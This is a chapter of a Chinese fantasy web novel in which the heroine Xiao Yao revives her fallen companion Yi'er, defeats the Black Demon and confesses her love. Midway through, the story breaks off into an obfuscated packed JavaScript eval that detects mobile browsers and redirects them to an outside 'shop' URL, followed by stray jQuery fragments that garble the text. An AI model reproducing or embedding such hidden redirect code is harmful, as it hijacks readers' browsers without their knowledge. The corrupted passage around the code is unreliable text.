脚上束缚着萧瑶的金色光环连同周围的屏障一起，化作星星光点消逝在空气中，但她没有丝毫察觉，只是站在原地无措地抱着伊尔。


    黑魔似乎没搞明白为什么众人还活着，但他也无心深究，只是抬手重新凝聚出一柱光波：“真烦，这次总该死了吧。”


    所有人都知道能从刚刚那冲击波下毫发无损地活下来全靠伊尔。


    凌池拿出一个小玉瓶，递给叶韵枝道：“拿给萧瑶。”


    叶韵枝接过瓶子，她自然认得这是师尊留给几人的续命丹药，珍贵无比，能够生死人而肉白骨：“可是师兄……伊尔不是修仙者承受不住那么庞大的灵力，丹药入口只会暴毙身亡。”


    这里的灵力情况比外界还要糟糕，不仅得不到补充，还有不知道什么东西在吞噬着周围的能量。


    凌池进入此地后一直在极力封锁周身气息的泄露，但在此刻却疯狂调动起那些埋藏在丹田里所有的灵力，闻言他只是道：“让萧瑶定夺吧。”


    说罢，他将所有灵力都引入手中之剑，看样子准备殊死一搏。


    叶韵枝握着玉瓶，面上不忍地递到萧瑶手中：“这是极品还阳丹……你应该知道药效。”


    萧瑶仍旧保持着一开始的姿势，双眼无神，也不知道听没听到。


    叶韵枝叹息一口气，没有继续劝说，而是回到前线与师兄并肩作战。


    他们的命是伊尔的牺牲换来的，如果不拼上一切实在是有些说不过去。


    屏障随着伊尔的倒下已经散去，无边的黑色沼泽开始蔓延，捷娜持着大刀站在最前方，一刀一刀劈向地面阻止黑暗继续入侵。


    兰斯几人同样来帮忙，也只是堪堪延缓了黑色蔓延的速度。


    但没有人退缩，所有人都在拼尽全力，为身后的“永不言弃”几人争取时间。


    雷欧娜轻轻抱住了萧瑶，然而什么也没说，短暂的几秒后又松了手。


    她转过头看向明瑞雪与艾恩，眼底的悲伤与坚定晕染在一起，像是秋日前最后的萤火：“小雪你看好瑶瑶，我和艾恩去支援大家。”


    艾恩没有回答，但是手中的弓早已被他折断，化作两柄短刀，一左一右握在手中。


    明瑞雪刚要开口，雷欧娜像是早有预料道：“不是让你做逃兵，就算我们全军覆没，你也要带着萧瑶来给我们报仇，明白吗？”


    明瑞雪咬着牙忍住泪水：“明白。”


    雷欧娜的裙摆早已被鲜血浸满，走过之处划过道道暗红，像是划分生死两地的界线。


    明瑞雪终于忍不住，揪着萧瑶的肩膀痛苦喊道：“萧瑶！振作一点！大家都去战斗了，你呢？你在发什么呆啊！”


    伊尔的气息在怀中不断流逝，萧瑶的灵魂好像也随之一同离开了身体，站在上帝视角旁观着众人。


    夏国几人摆出了阵法，似乎要将其他人的灵力全都汇聚到凌池身上，由他施放最终的一击。


    捷娜的刀在一次又一次的挥砍中沾染上了黑色，她本人的身上也同样出现了几处被灼烧的溃烂，但她眼中没有丝毫惧意，身上的气势越发坚毅。


    随之而来的艾恩与雷欧娜火速加入了战斗，三人未曾言语，但内心的想法却在此刻达到了一致。


    他们身后，兰斯带领着队友们一次又一次击退黑色浪潮，誓死守卫着最后一片没有被黑暗入侵的土地。


    就在这最后一片净土上，她的躯体正怀抱着伊尔，身边的明瑞雪在呐喊，可是她的灵魂离得太远了，根本听不到。


    好累啊，萧瑶这么想着，变成灵魂的她轻飘飘的，就像个气球越飞越远，无论怎么努力都回不到自己的身体上。


    不知何时她身边多了另一道灵魂，全身被金光覆盖，周身还散发着温暖的气息，就像是一个太阳。


    这种感觉让萧瑶异常熟悉，她下意识地开口：“伊尔……”


    金色缓缓开口，那声音很远，又好像很近：“那你要跟我走吗？”


    萧瑶很想说“要”，但混混沌沌的脑袋却给出了另一个回答：“不要。”


    啊，我怎么会回答不要呢？


    萧瑶思考了很久，终于，想了起来，她说：“我得带大家活下来，要不然……要不然伊尔的努力不就全部作废了吗？”


    萧瑶想了想，不好意思地乞求道：“伊尔，你能慢点走吗？你等等我，我很快就会追上你的。”


    金色的灵魂笑了笑，这次她的声音变得异常清晰，一道温和的，带着无限善意的女声开了口：“我不是伊尔。”


    萧瑶呆了呆：“那伊尔在哪？他已经……走了吗？”


    金色的灵魂逐渐幻化成一个女人的模样，温暖的手指在萧瑶头上一点，犹如一道阳光彻底驱散了萧瑶身体里“无效化”的迷雾，一条名为“光明”的溪流开始在她身体里奔涌。


    做完这一切，金色的灵魂终于开口回答了萧瑶的问题：“没有，他在等你回去。”


    她伸手推了推，困扰萧瑶许久的浮力就这么被清除，有了重量的灵魂开始急速下坠。


    萧瑶仰着头，周围景色如同走马灯一般闪过，面前的女人越来越远，容貌也越发难以辨明，但周围的光芒却越发明亮。


    从萧瑶的角度看过去，就像是在黯淡的天空中升起了一个太阳。


    灵魂回到躯体的前一刻，她终于忆起，自己曾见过女人。


    在光明教会的大殿前，伫立着光明女神的雕像。


    *


    赛场外，传送法阵入口处。


    颂赞看着地上开始闪烁的暗红色纹路，下意识想要踏入其中。


    杨老抬手拦住了他：“再等等。”


    颂赞眼神微动：“再晚点魔力溢出，深渊吞没现实，就无法挽回了。”


    杨老抬头看向黄昏中红澄澄的云彩：“再给她一点时间。”


    “如果真到了那个时候，我会用别的方法挽回一切。”


    *


    “小雪，你先让一让。”沉寂许久的萧瑶突然出声，明瑞雪抓着她领口的手突然一顿，一抬眼对上一双平静的眼眸，不由得一怔。


    萧瑶拉开明瑞雪的手，小心翼翼地将怀中的伊尔放到了地上，又拿出叶韵枝给的玉瓶，倒出那枚还阳丹。


    整个过程再平常不过，但却唯独不该发生在伊尔性命垂危之际。


    明瑞雪本就不定的心绪中升起了一丝慌乱：“萧瑶……你，怎么了。”


    萧瑶没有马上回答，她一抬手将那枚还阳丹含入口中，然后俯下身，嘴对嘴渡给了伊尔。


    短暂的唇齿相接，一股金色的能量随之流转，萧瑶抬起身望向伊尔，倘若忽视掉他那惨白的脸色，倒像只是睡着了。


    萧瑶满怀珍重地摸了摸他的面庞，声音里满是缱绻：“小雪，我想起了一些事情。”


    她一边说一边站起身，不忘拾起掉落在地面上的问天：“我是‘无效化’，曾无意识地化解过你的‘幸运’，使你猜不准硬币的正反。”


    “也曾扰乱过娜娜的传音，让耳坠失效。”


    “但唯独伊尔的治愈术，他的‘信仰’，从未被我‘无效化’过。”


    “每一次，每一次，他都能完美地治愈我的伤口，为什么没有被‘无效化’呢？”


    银白色的问天不知何时附着上了一层光晕，是金色的，如同太阳般炽热而又耀眼。


    萧瑶背对着明瑞雪，留下了最后的叮嘱：“如果我伊尔醒来，帮我转告一句话吧。”


    黑魔蓄力已久的光波与凌池浑身解数使出的剑气对上，两股庞大的能量相撞，掀起阵阵气浪。


    巨大的轰鸣声下，明瑞雪再无法听清萧瑶的话，只能强撑着睁开眼，却仍旧难以辨认着萧瑶的口型。


    “等等……”他狼狈地张开嘴，冲着萧瑶喊道，“等等萧瑶，我没听清。”


    萧瑶果然停住了脚步，转过头，却只是笑笑：“既然这样，就等我回来自己说给他听吧。”


    与黑魔的这波对冲已经耗尽了夏国所有人的灵力，其他人的形势同样不容乐观，众人已是强弩之末。


    一次又一次被阻挠，黑魔心中的怒气已经抵达了最高点，这次他再没有心思开口，沉着一张脸喃喃念起一段咒语。


    霎时间狂风大作，无数飞沙碎石开始流转，地面上的黑色泥沼也随着他的动作顺着他的手臂而上，在他手上凝聚出一颗波动着的黑色能量团。


    并且这股能量还在不断凝聚，黑球越来越大，短短几秒已经比一人还高，投下一片巨大的阴影。


    力竭的凌池强撑着想要站起来，叶韵枝还有些力气，她走上前努力将师兄架到自己肩上，带着他徐徐向前走去。


    一只有力的手按住了她的肩膀，暖意随之流遍全身，叶韵枝感受着身上逐渐愈合的伤口，惊讶地抬起头，却只看见萧瑶的背影。


    叶韵枝想要抓住她，身后却传来兰斯的声音：“让她去吧，打不过大不了大家一起死。”


    兰斯小队各个狼狈不堪，兰斯甚至是拖着一条瘸腿来到了叶韵枝身边：“不过看她这样子，说不准能赢呢？”


    捷娜全身已经没有一块好的皮肉，异能武器与召唤者是共生的关系，她的刀被侵蚀就意味着本体也要受损。


    但就算如此，她挥刀的手依旧没有丝毫停顿。


    艾恩与雷欧娜同


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573530|124546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样好不到哪去，他们甚至没有异能武器，全靠手里的破铜烂铁做抵抗。


    黑色已经蔓延上了他们的小腿，灼烧的疼痛并非一般人能够忍受，但却没有人退缩半步。


    终于，雷欧娜开口道：“艾恩，你能不能活下去，然后帮我给瑶瑶带句话。”


    连疼痛都没能击败的男人被这轻飘飘的一句话搞得措手不及，连手上的动作都慢了一步：“……不能。”


    “哈哈。”雷欧娜笑了笑，“开玩笑的啦，这种情况感觉瑶瑶也活不下去，可以等上了天堂我亲自和她说。”


    艾恩扯扯嘴角：“以前从没发现你这么会说话。”


    “不过堕精灵应该上不了天堂。”也许是知道逃不过死亡，捷娜居然破天荒地有些想要尝试这种“有趣”的说话方式，于是加入了两人的聊天中，“你可能没办法和队友们齐聚天堂了，精灵。”


    艾恩：……这个世界的女人好可怕，死到临头了还能冷静地说玩笑话。


    “你说，我在听。”


    三人齐齐扭头，正见到提着问天走来的萧瑶，雷欧娜脸上有些讶异，随即又变成了然，展露出笑颜道：“那我想等一切结束再说给你听。”


    萧瑶牵起雷欧娜的手，金色的光波自她足尖荡开，轻而易举地驱散了困扰众人已久的黑色泥沼。


    “好。”萧瑶点头，“那你等等我。”


    捷娜望向前方的庞然大物，那颗黑球已经成长到一个难以测量的高度，直面这一击几乎是必死无疑：“你不害怕吗？”


    萧瑶坦然地点了点头：“害怕。”


    她认认真真地看了周围的队友，看了看远处的伊尔：“我当然害怕。”


    她一步步走向属于自己的战场，嘴边的呢喃被狂风吹散，只剩依稀几个字被吹到了几人耳边：“……我害怕失去大家，所以我不再害怕。”


    *


    这段路不算长，黑魔看着终于走到眼前的萧瑶，发出了一声嗤笑：“啊，救世英雄，你来了？”


    萧瑶看着面前这张有熟悉又陌生的脸，并没有应答。


    黑魔看着萧瑶就不由得想起自被召唤开始受到的种种屈辱，实力受限，自由受限，连附个身都被辱骂。


    他可是黑魔啊！是永生教会的主，是深渊的王！这一切都要拜萧瑶所赐！


    “去死吧！”


    巨大的黑球像是即将落地的陨石，萧瑶不合时宜地想起在修真界的最后一道雷劫。


    天命，这次她是天命之人，结果会有所不同吗？


    她这么想着，举起了问天。


    巨大的阴影倾覆而下，毁灭前的宁静笼罩了这片大地，时间在这一刻像是按下了暂停。


    微弱的光点在一片黑红的交织中亮起，像是烛光，像是萤火。


    没有阴影能够存在于光明之中。


    直至此刻，黑魔才意识到了些许不对，他瞪大眼睛，语气中满是恐惧：“……不！怎么会！你的武器不是应该……”


    黑魔观察萧瑶这么久，自然知道她的能力是“无效化”，为了彻底杜绝她翻身的可能，黑魔利用阿道夫的身份将所有武斗系的武器所需兑换的积分都翻了一倍。


    而萧瑶的那把黑剑更是翻了十倍。


    她不可能拿回自己的武器。


    萧瑶推着问天又靠近了一步：“我确实有一把剑，它叫做无名，拥有‘无效化’的能力。”


    “可惜，知己知彼百战不殆，这是连三岁孩童都明白的道理。”


    “你难道不知道，我有两把剑吗？”


    黑色的能量团被问天剑身上的白色火焰灼烧，变成了一个巨大、燃烧着的光球


    温暖的白光对于黑魔来说不亚于炽烈的岩浆，他不断发出尖锐的哀嚎，扭曲着想要逃走。


    萧瑶没有给他这个机会，一剑刺向了他的心脏。


    与此同时，在无边黑暗中一直徘徊，却总是找不到出口，颓然想要放弃的杰西卡看到了一束光亮。


    *


    耀眼的光芒落在脸上，伊尔抬手遮了遮，缓缓睁开眼睛。


    远处，燃烧着的“太阳”替代了血月高高悬挂于天上，天际变得一片绚丽，比黄昏还要热烈。


    明瑞雪从刚刚的震撼中回过神，惊喜地看着伊尔：“伊尔，你醒啦！”


    没有见到想见的人，伊尔开口问道：“瑶瑶……”


    地平线上，三道人影缓缓浮现，巨大的白球将几人衬得越发渺小，但只一眼，伊尔便认了出来。


    四目遥遥相望。


    萧瑶想，现在终于可以把被风吹散的话讲给他听了。


    ——我爱你，伊尔。